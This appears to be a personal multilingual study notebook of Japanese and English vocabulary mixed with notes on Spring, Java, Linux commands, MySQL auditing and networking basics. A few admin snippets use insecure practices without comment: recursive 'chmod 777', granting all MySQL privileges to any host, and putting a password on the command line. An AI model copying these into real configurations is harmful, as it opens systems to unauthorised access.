你可以登录到不同的虚拟终端上去,因而可以让系统同时有几个不同的会话期存在。
只有系统或超级用户root可以向 /dev/tty0进行写操作,
5 虚拟终端(/dev/pts/n)
在Xwindows模式下的伪终端.
另有人解释:每一个远程连接都会产生一个pst设备;
lastb 命令的输出结果中的 ssh:notty 的意思_月下搬砖-CSDN博客
Who or what is root@notty?
ps -aux | grep sshd
20.改めて あらためて 重新
21.予め あらかじめ 预先
22. ており 表示书面的中顿,连接后面的句子。 XXXのエラーが発生しておりジョブが異常終了します。
23.commercial [kəˈmɜrʃəl] 商业的;商业性的
24.enterprise 企业 enterprise-commercial 企业 商业版 // mysql
//sun 收购了 mysql Oracle 收购了 sun
25.IOE // 阿里巴巴 去 IOE
・IBM 小型机
⇒PC 服务器 和 mysql 组成的集群
・Oracle 数据库
・EMC 存储设备
26.Asymmetric [eɪˈsɪmətri] // jasypt 不对称的,不匀称的
27.PBE
PBE,全称为“Password Base Encryption”,中文名“基于口令加密”,是一种基于密码的加密算法,
其特点是使用口令代替了密钥,而口令由用户自己掌管,采用随机数杂凑多重加密等方法保证数据的安全性。
DES,全称为“Data Encryption Standard”,中文名为“数据加密标准”,是一种使用密钥加密的块算法
AES,全称为“Advanced Encryption Standard”,中文名“高级加密标准”
3DES,也就是“Triple DES”,中文名“三重数据加密算法”,它相当于是对每个数据块应用三次 DES 加密算法。
消息摘要算法(Message Digest) // MD5
Base64编码
非对称加密算法需要两个密钥来进行加密和解密,分别是公钥和私钥。
・RSA
RSA是1977年由罗纳德·李维斯特(Ron Rivest)、
阿迪·萨莫尔(Adi Shamir)和
伦纳德·阿德曼(Leonard Adleman)一起提出的。
当时他们三人都在麻省理工学院工作。RSA就是他们三人姓氏开头字母拼在一起组成的 [
・DH,全称为“Diffie-Hellman”
1.計上 けいじょう // 工数はXXX案件へ計上する
2.当面 とうめん // 当前
3.さっそく 早速
4.ミドルウェア //(middleware)(计算机用语)中间件 (Apache, tomcat, mysql)
5.識別 しきべつ 識別子 しきべつし // 案件の識別子 (案件の略称)
6.根目录 ルートディレクトリ (Root directory)
7.root ルート // 在Linux中,除了代表特权用户
// 在Linux中,root Directory 代表 根目录
在 英文单词中的含义
n. 根;根源;根基;词根;祖先
v. 生根;根源在于,来源于
8.spring
■@Component
@Scope("prototype") 生命周期
// spring中的scope详解 - 山高我为峰 - 博客园
@Component("userDao")
public class UserDao {}
除了@Component以外,Spring提供了3个功能基本和@Component等效的注解
・@Repository:用于对DAO实现类进行标注;
・@Service:用于对Service实现类进行标注;
・@Controller:用于对Controller实现类进行标注;
// @Component 可以使用 javax.inject.Named javax.annotation.ManagedBean
@Inject (JSR330规范提供的注解(javax.inject.Inject),要导入【javax.inject】包才能使用)
除了使用Spring标准的注解来定义bean、定义bean之间的依赖关系外,
Spring还支持使用JSR330标准的注解来进行相关的定义,
主要是对@Inject和@Named两个注解的支持。
要使用JSR330标准的注解进行对应的bean定义,我们首先需要将JSR330标准对应的jar包加入我们的classpath。
javax.inject
javax.inject
1
@Autowired (Spring本身替换的注解(org.springframework.beans.factory.annotation.Autowired),需要导入Spring相应的jar包才能使用) 作用基本等同
区别:
@Autowired注解有一个required属性,当指定required属性为false时,意味着在容器中找相应类型的bean,
如果找不到则忽略,而不报错(这一条是两个注解所没有的功能)。
由于@Inject注解没有属性,在加载所需bean失败时,会报错
@Named
@ManagedBean
Spring 2.5之后,使用标注,管理类的声明周期(在Spring容器,IOC中的生命周期)
・@singleton:容器中创建时只存在一个实例,所有引用此bean都是单一实例
・@prototype:spring容器在进行输出prototype的bean对象时,会每次都重新生成一个新的对象给请求方
・@request:web程序中应用
・@session:web程序中应用
・@globalsession:Web全局变量 可以理解为之前的 Application
■@Configuration
@Bean 配置Spring容器管理的对象
普通的POJO类中只要标注@Configuration注解,就可以为spring容器提供Bean定义的信息了,每个标注了@Bean的类方法都相当于提供了一个Bean的定义信息。
//①将一个POJO标注为定义Bean的配置类
@Configuration
public class AppConf {
//②以下两个方法定义了两个Bean,以提供了Bean的实例化逻辑
@Bean
public UserDao userDao(){
return new UserDao();
}
@Bean
public LogDao logDao(){
return new LogDao();
}
//③定义了logonService的Bean
@Bean
public LogonService logonService(){
LogonService logonService = new LogonService();
//④将②和③处定义的Bean注入到LogonService Bean中
logonService.setLogDao(logDao());
logonService.setUserDao(userDao());
return logonService;
}
}
■@Autowired
// @Resource // @Inject @Resource,@Autowired,@Inject3种注入方式详解 - Java技术栈 - 博客园
@Autowired用法详解_IVON-CSDN博客_@autowired
首先要知道另一个东西,default-autowire,它是在xml文件中进行配置的,可以设置为byName、byType、constructor和autodetect;比如byName,不用显式的在bean中写出依赖的对象,它会自动的匹配其它bean中id名与本bean的set**相同的,并自动装载。
@Autowired是用在JavaBean中的注解,通过byType形式,用来给指定的字段或方法注入所需的外部资源。
两者的功能是一样的,就是能减少或者消除属性或构造器参数的设置,只是配置地方不一样而已。
当涉及到自动装配Bean的依赖关系时,Spring有多种处理方式。因此,Spring提供了4种自动装配策略。
彻底搞明白Spring中的自动装配和Autowired - 简书
public interface AutowireCapableBeanFactory{
//无需自动装配
int AUTOWIRE_NO = 0;
//按名称自动装配bean属性
int AUTOWIRE_BY_NAME = 1;
//按类型自动装配bean属性
int AUTOWIRE_BY_TYPE = 2;
//按构造器自动装配
int AUTOWIRE_CONSTRUCTOR = 3;
//过时方法,Spring3.0之后不再支持
@Deprecated
int AUTOWIRE_AUTODETECT = 4;
}
===
一切都是从bean工厂的getBean方法开始的,一旦该方法调用总会返回一个bean实例,无论当前是否存在,不存在就实例化一个并装配,否则直接返回。
===
你可以在 JavaBean中的 setter 方法中使用 @Autowired 注解。当 Spring遇到一个在 setter 方法中使用的 @Autowired 注解,它会在方法中执行 byType 自动装配。
这里是 TextEditor.java 文件的内容:
package com.tutorialspoint;
import org.springframework.beans.factory.annotation.Autowired;
public class TextEditor {
private SpellChecker spellChecker;
@Autowired
public void setSpellChecker( SpellChecker spellChecker ){
this.spellChecker = spellChecker;
}
public SpellChecker getSpellChecker( ) {
return spellChecker;
}
public void spellCheck() {
spellChecker.checkSpelling();
}
}
===
package com.tutorialspoint;
import org.springframework.beans.factory.annotation.Autowired;
public class TextEditor {
@Autowired
private SpellChecker spellChecker;
}
■@ConfigurationProperties
@Component
@ConfigurationProperties(prefix = "person")//只能从默认的全局文件中获取
public class Person {
private String lastName;
private Integer age;
private Boolean boss;
private Date birth;
private Map maps;
private List
---
YML 配置文件
person:
lastName: fang \n xin \n de
age: 18
boss: false
birth: 2018/12/10
maps: {a1: fang, a2: li,a3: zhang}
lists: [cat,pig,dog]
dog:
name: XXX
age: 1
==
■@value{“¥{AAA.BBB.CCC}”}
private String XXXX
java -jar XXX.jar --spring.config.location=/Path1/Path2/application.yml
// AAA.BBB.CCC 为yml文件中配置的属性
// spring参数的传递,都是以两个「--」开始的
==
1. autowire 自动装配 [autowired]是[autowire]的过去分词形式
2.prototype [ˈprəʊtəˌtaɪp] n. 原型;模范
3.role [rəʊl]英 n. 作用;角色 // 数据库中控制用户权限的字段,可以使用此单词命名
4.ssh scp
ssh scp命令详解 - Jonky - 博客园
5.substitute n. 代用品,代替者,替补队员 v. 替代 [ˈsʌbstɪˌtjuːt] // Excel公式
Excel 公式 ・快捷键 ------- 不定期更新_sun0322-CSDN博客
6.instance n. 例子,情况,请求,审级,例外 ; v. 举...为证,举例说明
扩展:java 实例化一个对象
・あ
あどけない 天真
あっけない 太简单的,不尽兴的,没意思的,没劲儿的,不过瘾的。
あぶる 炙る
あべこべ 颠倒
アルコール 酒精
アルバム 相册
仰ぐ あおぐ
あらし 嵐
粗い あらい // 新井 あらい
雨傘 あまがさ
アニメーション 动画片
煽る あおる
・い
些か いささか
錨 いかり
・う
魚座 うおざ
渦 うず
埋める うずめる
うに 海胆 // カニ 蟹
右折 うせつ // 右京 杉下 右京
うろうろ 慢吞吞
器 うつわ
うたがう 疑う
伺う うかがう
うっかり 不注意 无意中 // がっかり 灰心,泄气
嗽 うがい 漱口
うっとり 陶醉,发呆
植える うえる
飢える うえる
・え
エリート 经营,尖子
エージェンシー 代理店
笑顔 えがお
・お
大晦日 除夕。大年夜。腊月三十。
岡 おか // 谷岡 たにおか // 福岡 ふくおか
おおげさ 大袈裟 夸张
大雑把 おおざっぱ 粗略
脅す おどす
落ち着く おちつく 平静下来;稳定;平息。
溺れる おぼれる // 溺死 できし
凹レンズ おう // でこぼこ 凸凹
・か
神奈川 かながわ
かなう 適う 叶う
乾く かわく
崖の上のポニョ // 崖 がけ // 影 かげ
噛む かむ
かたかな 片仮名 // 外来语中使用
~がたい ~するのはむずかしい
~がちだ/がちの することが多い
勝ち かち
片付け かたづけ 整理
庇う かばう
革靴 かわぐつ フォーマル革靴 フォーマル(formal) 正式的 // フォーマット(fromat)格式 // フォーク fork 叉子
通い かよい
かき 夏季
~からして ひとつの例をあげて、ほかももちろんだがという気持ちを表す
~からすると/からすれば ~の立場から見ると
~からには 既然,就
為替 かわせ 兑换,汇款
香り かおり 香气
・き
清い きよい
きり 仅仅; 文法:动词+た 持续某一状态 (口语 ~っきり)
ぬく 文法:一直坚持到最后
きらきら 闪闪发光 // びかびか
気楽 きらく 舒适
・く
薬指 くすりゆび 无名指 小指中指之间
栗 くり
口紅 くちべに
口ずさむ 小声哼唱
口笛 くちぶえ 口哨
句点 くてん // 文句 もんく 牢骚 // ぶつぶつ 牢骚 // 文言 もんごん
狂う くるう
・こ
ことに(は) 文法:事先申述说话者的心情,感情 ,
ことから (因为 ので) 表示理由,以示后文根据
粉々 こなごな
航空 こうくう
降参 こうさん 投降
昆布 こぶ 海带
辛夷 こぶし 兰花
拳 こぶし
好み このみ 物好き ものすき
拘束 こうそく
口実 こうじつ
======= 重复
・か
かながわ 神奈川
適う 叶う かなう
乾く かわく
崖 がけ
影 かげ
噛む かむ
かなかな 片仮名 // 外来语使用
~がたい ~するのはむずかしい
~がちだ/がちの ~することが多い・やすい
かち 勝ち
価値 かち
片付け かたづけ 整理
庇う かばう
革靴 かわぐつ
フォーマル革靴 正式的皮鞋 formal
フォーマット format 格式
通い かよい 往来
夏季 かき
~からして ~の例をあげて、ほかも もちろんだがという気持ちを表す
~からすると/からすれば ~の立場から見ると
~からには 既然,就
為替 汇兑,汇款
香り かおり 香气
・き
清い きよい
きり 仅仅
~きり 动词 + た + きり 持续某一状态
口语 ~っきり
~ぬく 一直坚持到最后
きらきら 闪闪发光
ぴかぴか 闪闪发光
気楽 きらく 舒适
・く
薬指 无名指
======= 重复
・さ
囁く ささやく
さっさと 迅速
・し
・す
・せ
7.アップグレード upgrade 升级
8.サーバー 保护程序 saver
9.併せて あわせて 同时,共计
10.オリジナル 原型,原作
11.マイナーバージョンアップ 小版本升级 // マイナー minor
12.シンボリックリンク symbolic Link Linux中的软连接 对应 Hard Link
13.トランザクション transaction 事务
14.over ride 重写 (子类继承父类)
15.over load 重载 (方法名相同,参数不同)
16.コーテーション quotation 引号
17.後続 こうぞく
18.ロードマップ 企业产品规划图 roadmap
19.バックログ backlog 积压的工作
20.雛 ひな ひな祭り 3/3 (日本的)桃花节
21.python -v | python3 -v
22.glassfish ⇒ payara
23.reverse ソート順を反転させる // ls -lrt
.recursive 子ディレクトリを再帰的に一覧表示する // chmod -R 777 folderName
[ri'kə:siv] 再帰的にディレクトリをコピーする // cp -r folderFrom folderTo // -R, -r
24.ls --full-time
25.Git Bash
26.composition 构成;成分 // Veracode 「Software Composition Analysis」 // High Medium
Maven的Pom文件 ( Eclipse中创建Maven工程, 使用注意点,DevOps相关)_sun0322-CSDN博客
27.Analysis [əˈnælɪsɪs] 分析
28.vulnerability 脆弱性;缺点 // Vulnerabilities [vʌlnərə'biliti]
29.severity [səˈvɛrəti] 严重;严格;猛烈 // Number of Know vulnerabilities by severity . ⇒ // High、Medium、Low。。。
30.再帰 さいき
31.反転 はんてん
32.audit 审计,查帐 // mysql
audit_log_file=/XXX/XXX/sudit/audit.log
audit_log_exclude_accounts=
■my.cnf
audit_log_exclude_acounts=test1@%,test2@%
■DB
mysql.user
host,user
--------
%,test1
IP1,test1
IP2,test1
--------
■接続元
①host DB サーバ自身 -h 指定なし
②IP1
③IP2
④IP3
■結果
①audit.log出力しない
②③IP1,IP2:audit.log出力
④IP3:audit.log出力しない
33.edge 边,边缘;刀,刀口
34.シンタックス syntax 语法
check
mysql --defaults-file=/XXX/my.conf --verbose --help > /dev/null
mysql --verbose --help
mysql verbose_mysql参数调优_萌新阿岩的博客-CSDN博客
35.verbose [vɜːˈbəʊs] 冗长的,累赘的
36.フィルター
37.福岡 ふくおか
38.satisfy [ˈsætɪsˌfaɪ] v. 使满意,使满足;满足;// mysql // Your password dose not statisfy the current poliicy requirements.
39.identified [aɪˈdentɪˌfaɪd] adj. 经鉴定的;被识别的 // mysql // create user 'yourUserName@%' identified by 'yourPasword'
40.privileges [ˈprɪvɪlɪdʒ] n. 特权;优待;权益 v. 给与…特权;特免 // mysql // flush privileges
41.grant [ɡrɑːnt] v. 同意,准予,授予;承认 // mysql // grant all on *.* to 'yourUserName@%'
42.シンタックス syntax [ˈsɪntæks] 语法
43.regexp // regex 正则表达式的简称 (= regular expression) // 正規表現
Excel VBA 如何使用 CreateObject("VBSCRIPT.REGEXP")-Excel VBA程序开发-ExcelHome技术论坛 -
例如字符串“P(5,n_P),B_M(13),B_V(13)”
要把圆括号中间的逗号“,”替换为“)(”,而不在其中的逗号不替换,应该如何设置正则表达式?
“P(5) (n_P),B_M(13),B_V(13)”
Sub Test()
Dim oData As Object, nData As Integer, sStr As String
sStr = "P(5,n_P),B_M(13),B_V(13)"
With CreateObject("Vbscript.RegExp")
.Global = True
.IgnoreCase = True
.Pattern = "\([^,)]+,[^,\)]+\)"
Set oData = .Execute(sStr)
If oData.Count > 0 Then
For nData = 1 To oData.Count
sStr = Replace(sStr, oData(nData - 1), Replace(oData(nData - 1), ",", ")("))
Next
End If
End With
MsgBox sStr
End Sub
44.UTC是协调世界时(Universal Time Coordinated)英文缩写
45.GMT(Greenwich Mean Time)是格林尼治平时
在格林尼治子午线上的平太阳时称为世界时(UT0),又叫格林尼治平时(GMT)。
46.JST (UTC + 9)
47.CST
CST
同时可以代表如下 4 个不同的时区:
Central Standard Time (USA) UTC-6:00
Central Standard Time (Australia) UTC+9:30
China Standard Time UTC+8:00
Cuba Standard Time UTC-4:00
CST可以同时表示美国,澳大利亚,中国,古巴四个国家的标准时间。
48.excel エクセル 工作表
49.リストアップ list up;列表,造表,列出。从众多之中挑选符合条件的,或将其列成一览表
50. tar cvf 打包 exclude // 排除 archive // 存档
你打包/home这个目录,/home/123/是你不想打包的目录。
tar cvf my.bak.tar /home --exclude /home/123
tar cvf my.bak.tar --exclude=/home/123 /home
你打包/home这个目录,/home/123/、/home/125/是你不想打包的目录。
tar cvf my.bak.tar --exclude=/home/123 --exclude=/home/125 /home
================= start
51.匿名内部类
什么是JAVA内部类?_ConstXiong-CSDN博客
Comparator
1)这个接口也是一个排序比较器,位于Java.util包下
2)包含一个比较的方法compare(T t1,T t2)
3)如果一个类实现这个接口,一定要重写compare方法,但是不一定要实现equals方法,实现排序代码如下:
// 提供实现类的对象
Collections.sort(students, new Student());
---
使用匿名内部类的Collections的sort方法则不需要再在类中重写compare方法,代码如下:
//students是个list
Collections.sort(students, new Comparator() {
@Override
public int compare(Student s1, Student s2) {
int num = s1.getAge() - s2.getAge();
if(num == 0) {
return s1.getName().compareTo(s2.getName());
}
return num;
}
});
52.lambda 表达式
Lambda表达式详解 - 海向 - 博客园 (cnblogs.com)
---
@FunctionalInterface#
修饰函数式接口的,要求接口中的抽象方法只有一个。 这个注解往往会和 lambda 表达式一起出现。
---
语法形式为 () -> {},其中 () 用来描述参数列表,{} 用来描述方法体,-> 为 lambda运算符 ,读作(goes to)。
---
Consumer 接口的方法以及遍历集合的操作。Consumer 接口是 jdk 为我们提供的一个函数式接口。
我们可以调用集合的 public void forEach(Consumer super E> action) 方法,通过 lambda 表达式的方式遍历集合中的元素。以下是 Consumer 接口的方法以及遍历集合的操作。Consumer 接口是 jdk 为我们提供的一个函数式接口。
---
@FunctionalInterface
public interface Consumer {
void accept(T t);
//....
}
ArrayList list = new ArrayList<>();
Collections.addAll(list, 1,2,3,4,5);
//lambda表达式 方法引用
list.forEach(System.out::println);
list.forEach(element -> {
if (element % 2 == 0) {
System.out.println(element);
}
});
53. java8中,使用 Lambda表达式 遍历List
List list= new ArrayList<>();
list.add(1);
list.add(2);
list.add(3);
list.add(4);
list.add(5);
list.add(6);
list.stream().forEach(item -> {
System.out.println("item="+item);
});
54.java8中,使用 Lambda表达式 遍历文件
try(
Stream lines = Files.lines(file.toPath(),Charset.forName("XXXX"))
){
lines.forEach(line ->{
...
String datas = line.split(",");
...
});
} catch (Exception e) {
...
}
55.try 后面的小括号
这个括号在JDK1.7之前是没有的,是1.7的新特性。
括号里的内容支持包括流以及任何可关闭的资源,数据流会在 try 执行完毕后自动被关闭,而不用我们手动关闭了
例:
try (FileReader reader = new FileReader("data.txt")) {
...
}catch (IOException io) {
...
}finally{
....
}
56.split
java分割之后,数组长度
======
“123,222”
2
======
“”
1
======
“123,”
1
======
“111,222,333,444,555”
5
======
“111,222,333,444,555,”
5
======
“111,222,333,444,555,666”
6
======
“111,222,333,444,,666”
6
======
57.Sonar rule squid:S1066
“Collapsible "if" statements should be merged”. // 多个分开的 if 可以合并成一个。 合并之后,这个check提出不再出现
58.Collapsible adj. 可折叠的;可拆卸的
59.complexity [kəmˈplɛksɪtɪ] n. 复杂性,错综复杂
Sonar rule squid:S3776
1.lombok
使用Lombok:在类上直接标注个@Getter、@Setter,
编译时,自动生成getter、setter方法,
代码上,且不显示出来、不占据空间。
(即Lombok,是一个编译时注释预处理器,会在编译时注入一些代码。)
---
为什么有的程序员不推荐使用Lombok!_Mr_YXX的博客-CSDN博客_lombok不推荐使用
---
Eclipse SonarLint 插件 “SonarLint processing file 。。。 lombok/launch/PatchFixesHider“ 解决办法_sun0322-CSDN博客
---
编译时注解,运行时注解
@Retention(RetentionPolicy.SOURCE) // 例:@getter Getter.class 的源码
@Retention(RetentionPolicy.RUNTIME) // 例:@autowired Autiwired.class 的源码
Java注解 编译_Java注解(2)注解的使用:编译时和运行时处理_朱凤仙的博客-CSDN博客
---
================= end
2.reception [rɪˈsɛpʃən] n. 接待,接见;欢迎;欢迎会,招待会;接受;接纳;感受;反应;接待处
3.受付 うけつけ ①受理,接受。② 接待员;传达室,接待处。
4.Nmon // 分析 AIX与各种Linux 系统性能的工具。
5.splunk
=========================
Splunk 是机器数据的引擎。使用 Splunk 可收集、索引和利用所有应用程序、服务器和设备生成的快速移动型计算机数据 。 使用 Splunking 处理计算机数据,可让您在几分钟内解决问题和调查安全事件。监视您的端对端基础结构,避免服务性能降低或中断。以较低成本满足合规性要求。关联并分析跨越多个系统的复杂事件。获取新层次的运营可见性以及 IT 和业务智能。
・外文名 Splunk
・类 别 机器数据的引擎
・性 质 快速移动型计算机数据
・功 能 日志聚合功能、搜索功能等
・高级搜素 sourcetype="hsl-prod-fe" "Chase Seibert"
・特 性 多平台支持
安装在【服务器A】上,会启动一个守护进程。
此进程会 收集 【服务器A】上相应的情报,比如 log,
然后把收集到的数据传送到【Splunk服务器】上
一、splunk入门_飞翔的菜鸟叔的博客-CSDN博客
==========================
6.expire [ɪkˈspaɪə] v. 失效,终止,到期 ;届满
7.かと思います。
皆さんご存知かと思いますが
存知后面的か并不是表示疑问或不确定的意思。这是日语中一种习惯的语气的表达法。这么说显得语气很客气,委婉。
其实,中文里的想必不正是这个意思么。说话人认定所说内容是一个人所共知的事,但为了表示对听众的客气,所以会用"想必"这个词。
8.粒度 りゅうど // XX工程の粒度 // PG
AAA機能対応
BBB機能対応
。。。
9.cover カバー 覆盖
10.オーバー over // 超过 // !没法覆盖的意思
11.カバーレッジ coverage 覆盖范围 // JUnit 覆盖率
coverage [ˈkʌvərɪdʒ] n. (新闻)报导;范围
12.ifconfig // Linux中查看IP
eth0:、eth1:、lo: 本地网卡1,本地网卡2
inet IP地址 // 有的时候,IP是网卡2中的IP
netmask子网掩码用于分割网段,
broadcast广播用于运行网络协议
13.アナライズ analyze ;分析,解析
14.audit
exclude_accounts=userTest@%
mysql.user.user
mysql.user.host // 如果连接源 的 IP 在这里指定, userTest@% 无法屏蔽
例:
user表中
userTest@%
172.168.0.1的机器连接,出audit 的 log
172.168.0.2的机器连接,不出audit 的 log
==============================
Linux系统性能相关知识学习_sun0322-CSDN博客
4.Nmon // 分析 AIX与各种Linux 系统性能的工具。
5.splunk // ・【类 别】机器数据的引擎 ・【性 质】快速移动型计算机数据 ・【功 能】 日志聚合功能、搜索功能等
安装在【服务器A】上,会启动一个守护进程。
此进程会 收集 【服务器A】上相应的情报,比如 log,
然后把收集到的数据传送到【Splunk服务器】上
15.daemon 守护进程
16.ps -aux | grep -e splunk -e USER // 查看进程PID
17.top
top -p PID
16.free -h
19.交换空间(swap space)
swap space 是磁盘上的一块区域,可以是一个分区,也可以是一个文件。
所以具体的实现可以是 swap 分区也可以是 swap 文件。
当系统物理内存吃紧时,Linux 会将内存中不常访问的数据保存到 swap 上,
这样系统就有更多的物理内存为各个进程服务,
20.free 与 available
21.buff/cache
shared: 被多个进程共享的内存;
buffers: 用于存放要输出到disk(块存储)的数据,
在这里buff是指被OS buffer住的内存(written to disk);
cached: 存放从disk上读出的数据;buffer和cache是为了提高IO性能并由OS管理。
=======
・块:操作系统中文件系统的最小寻址单元,也叫 "文件块" 或 "I/O 块"。
・扇区:设备的最小寻址单元,也叫 "硬扇区" 或 "设备块"。
22.
23.
24.
25.
Linux系统性能相关知识学习_sun0322-CSDN博客
==================================
26.assignment /əˈsaɪnmənt/ (分配的)任务,工作 // java List list = new Arraylist<>();
27.compliant [kəmˈplaɪənt] adj. 服从的,顺从的;符合的,一致的 //sonar lint
28.Mock 声明的对象,对函数的调用均执行mock(即虚假函数),不执行真正部分。 // adj. 虚假的;不诚实的;模仿的;模拟的;伪造的;仿制的
29.Spy 声明的对象,对函数的调用均执行真正部分。 // n. 间谍,密探 v. 当间谍,暗中监视
【java】单元测试Mockito中的Mock和Spy_断桥残雪D的博客-CSDN博客
30.Mockito中的Mock和Spy都可用于拦截那些尚未实现或不期望被真实调用的对象和方法,并为其设置自定义行为。
31.insecure [ˌɪnsɪˈkjʊə] adj. 不安全的;不稳定的;不牢靠的
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
// mysql停止时,出现的警告。等一会儿就可以起来,不会影响正常启动.
=== 命令如下:
mysqladmin shutdown -uYourUserName -pYourPassword
===
32.secure [sɪˈkjʊə] adj 安全的;安心的;有把握的;牢固的 v. 使安全;保证;获得安全
33.security [sɪˈkjʊərɪtɪ] n. 安全,安全感;防护;保证;保障;证券
34.inactive adj. 不活动的,不活跃的;怠惰的;闲置的 // mysql 启动失败时
35.sed // Stream Editor
Linux Sed命令使用_Andrew的博客-CSDN博客_linux sed
sed是stream editor(流编辑器)的缩写,简称流编辑器,用来处理文件的
sed是一行一行读取文件内容并按照要求进行处理,把处理后的结果输出到屏幕上
window换行符\r\n 替换成linux 换行符
sed -i 's/\r//' startup.sh
-i 原地编辑(修改源文件)
修改字符串
echo hello hello world | sed 's/hello/hi/'
---
hi hello world
Linux中的sed命令,使用方法之一「替换字符串中的内容 」,以及「s/ / / 」和「s/ / /g」之间的区别_sun0322-CSDN博客_sed 替换字符串内容
36. sed 's/hello/nihao/g' 3.txt
---
amp1:~ # cat 3.txt ##3.txt的内容
hello hello hello
hello hello
hello hello hello
---
amp1:~ # sed 's/hello/nihao/' 3.txt
nihao hello hello
nihao hello
nihao hello hello
##不指定开头,也不加g,结果是匹配到一个符合的字段就直接跳到下一行
37.substitution [ˌsʌbstɪˈtjuːʃən] n. 代替,置换;代替者,代替物 // sed 命令中 sed 's/hello/nihao/' 3.txt
38.awk
ps aux | grep mysql | grep -v grep | awk ‘{print "$1 ,$2}’
显示第一列,第二列
---
ps aux | grep mysql | grep -v grep | awk ‘{print "kill -9" ,$2}’ | sh
---
sh kill -9 PID
。。。 | sh // 把前面命令执行后的结果,传递给sh
Aho、(Peter)Weinberg和(Brain)Kernighan。这三个人创造了awk
(功能与sed和grep很相似)
40.stale [steɪl] adj. 陈腐的;不新鲜的 // github 中 Stale branches
===================
41.arp
arpspoof渗透工具使用方法详解+实战_lexsaints-CSDN博客_arpspoof
ARP协议是地址解析协议(Address Resolution Protocol)是通过解析IP地址得到MAC地址的,
是一个在网络协议包中极其重要的网络传输协议,它与网卡有着极其密切的关系。
arp #本机缓存列表
arp -a #查看本机的 IP地址和MAC地址对应关系
arp -d #删除arp表中的所有信息
arp -d 192.168.154.195 #删除该条记录
根据arp的工作原理,我们知道,
PC或手机端需要通过arp缓存中IP和Mac地址的对应关系,
来确定谁是网关?
然后将数据包发送给网关,然后由网关将请求的数据转发到互联网。
42.Gateway 网关
网关(Gateway)又称网间连接器、协议转换器。默认网关在网络层上以实现网络互连,
是最复杂的网络互连设备,仅用于两个高层协议不同的网络互连。
网关的结构也和路由器类似,不同的是互连层,网关既可以用于广域网互连,也可以用于局域网互连
网关实质上是一个网络通向其他网络的IP地址。
主机之间通信时,
会根据子网掩码(255.255.255.0)判定两个网络中的主机处在不同的网络里。
而要实现这两个网络之间的通信,则必须通过网关。
43.Subnet Mask 子网掩码
子网掩码只有一个作用,就是将某个IP地址划分成网络地址和主机地址两部分。
・通过子网掩码,就可以判断两个IP在不在一个局域网内部。
・子网掩码可以看出有多少位是网络号,有多少位是主机号。
---
子网掩码,全是255
255.255.255.255的掩码,也就是32位掩码,并不是常用的一种掩码方式,
但是这种掩码在电信运营商的网络中却有很大的作用,主要目的是节省IP地址的使用。
32位掩码表明了IP地址的所有位都是网络位的标识,
这样每一个IP地址都是独立的一个网段,
可以作为运营商设备的管理地址或loopback接口地址。
还有一种情况就是PPPoE宽带上网时,
一般也会为用户分配一个32位掩码的地址,这种的主要目的也是为了节省地址。
所以我理解,采用32位掩码,
避免了每个地址段都要有一个网络地址和一个广播地址的情况,
将每个IP地址单独划分为一个网络,达到了节省IP地址的效果。
比如192.168.1.46/24 该网段中192.168.1.0和192.168.1.255就不能用作主机地址了。
采用32位掩码这两个地址就可以使用了。
44.WAN (Wide Area Network)
WAN口指的是广域网接口,主要是用于路由器与广域网进行连接。
45.LAN (Local Area Network)
LAN口指的是局域网接口,主要是用于路由器与局域网进行连接。
ipconfig
https://blog.csdn.net/sxzlc/article/details/111071591
46.WLAN
wireless local area network
47.wireless [ˈwaɪələs] adj. 无线的 n. 无线电收音机; 无线电发射和接收系统; 无线电报
48.wire 金属丝,金属线
49.内网
内网接入方式:上网的计算机得到的IP地址是Inetnet上的保留地址,保留地址有如下3种形式:
10.x.x.x
172.16.x.x至172.31.x.x
192.168.x.x
50.NAT (NAT,Network Address Translation)
51.NAPT (NAT,Network Address Port Translation)
https://blog.csdn.net/sxzlc/article/details/115285625
52.translation [trænsˈleɪʃən] n. 翻译;译文;转变,转化
53.SFDC
外部系统连接SFDC,获取SFDC侧的数据_sun0322-CSDN博客
↑ 外部系统连接SFDC,获取SFDC侧的数据
54.TCP Transmission Control Protocol传输控制协议,
55.UDP User Datagram Protocol用户数据报协议
56.端口号 port
端口号的有效范围是从0到65535。
一般来说,大于49151的端口号都代表动态端口。
UDP端口号指定有两种方式:由管理机构指定端口和动态绑定的方式。
(1)公认端口(WellKnownPorts):
从0到1023,它们紧密绑定(binding)于一些服务。
通常这些端口的通讯明确表明了某种服务的协议。例如:80端口实际上总是HTTP通讯。
(2)注册端口(RegisteredPorts):
从1024到49151。它们松散地绑定于一些服务。
也就是说有许多服务绑定于这些端口,这些端口同样用于许多其它目的。
例如:8080 可以绑定 tomcat
(3)动态和/或私有端口(Dynamicand/orPrivatePorts):
从49152到65535。理论上,不应为服务分配这些端口。
---
上图中,53365是本地动态分配的端口号,本地和虚拟机 之间 建立了 ssh 连接
---
57..NAPT 网络地址端口转换
NAPT与NAT的区别在于,NAPT不仅转换IP包中的IP地址,
还对IP包中TCP和UDP的Port进行转换。
这使得多台私有网主机利用1个NAT公共IP就可以同时和公共网进行通信。
(NAPT多了对TCP和UDP的端口号的转换)
58.
59.
60.
===================
01.capital [ˈkæpɪtəl] n. 首都;资本,资金;大写字母;资源;资本
・【capital letter】 大写字母 [ˈkæpɪtə] [ˈlɛtə] // アルファベットの大文字(おおもじ)
・letter n. 字母;信;字面意义;证书,许可证;文学
02.【lowercase】 (lower case letter) 小写 // アルファベットの小文字(こもじ)
03.upper // Excel 数式
04.lower // Excel 数式
05.tee T型管道 // Linux // 在屏幕输出的同时,把输出的内容写入到文件中
echo "`date '+%Y%m%d %H:%M:%S.%N'` XXXX" 2>&1 | tee -a \LOG\test.log
06.stdin
bat shell 命令行中 2>&1 的含义_sun0322-CSDN博客
07.backquote 返单引号 【`】
08.日志轮替 logrotate ログ ローテート
日志轮替_WK teacher的博客-CSDN博客
10M 10*1024*1024=10,485,760
09.rotate v. (使)旋转;(使)轮流 [rəʊˈteɪt]
10.sensitive data 敏感数据 [ˈsɛnsɪtɪv]
11.sensitivity n. 敏感;敏感性;过敏 [ˌsɛnsɪˈtɪvɪtɪ]
12.verify v. 证实,核实;作证,查证;核对 [ˈvɛrɪˌfaɪ]
13.scrub [skrʌb] n. 擦洗,刷洗;矮小的人(或物) v. 用力擦洗,刷净;取消
14.dynamic [daɪˈnæmɪk] n. 动态,力学,动力,活力,adj. 发展变化的,效率高的;动力学的;不断变化的
15.WPA Wi-Fi Protected Access
16.WPA2是WPA的升级版,现在新型的网卡、AP都支持WPA2加密。WPA2则采用了更为安全的算法。
17.WEP(Wired Equivalent Privacy,有线等效保密)
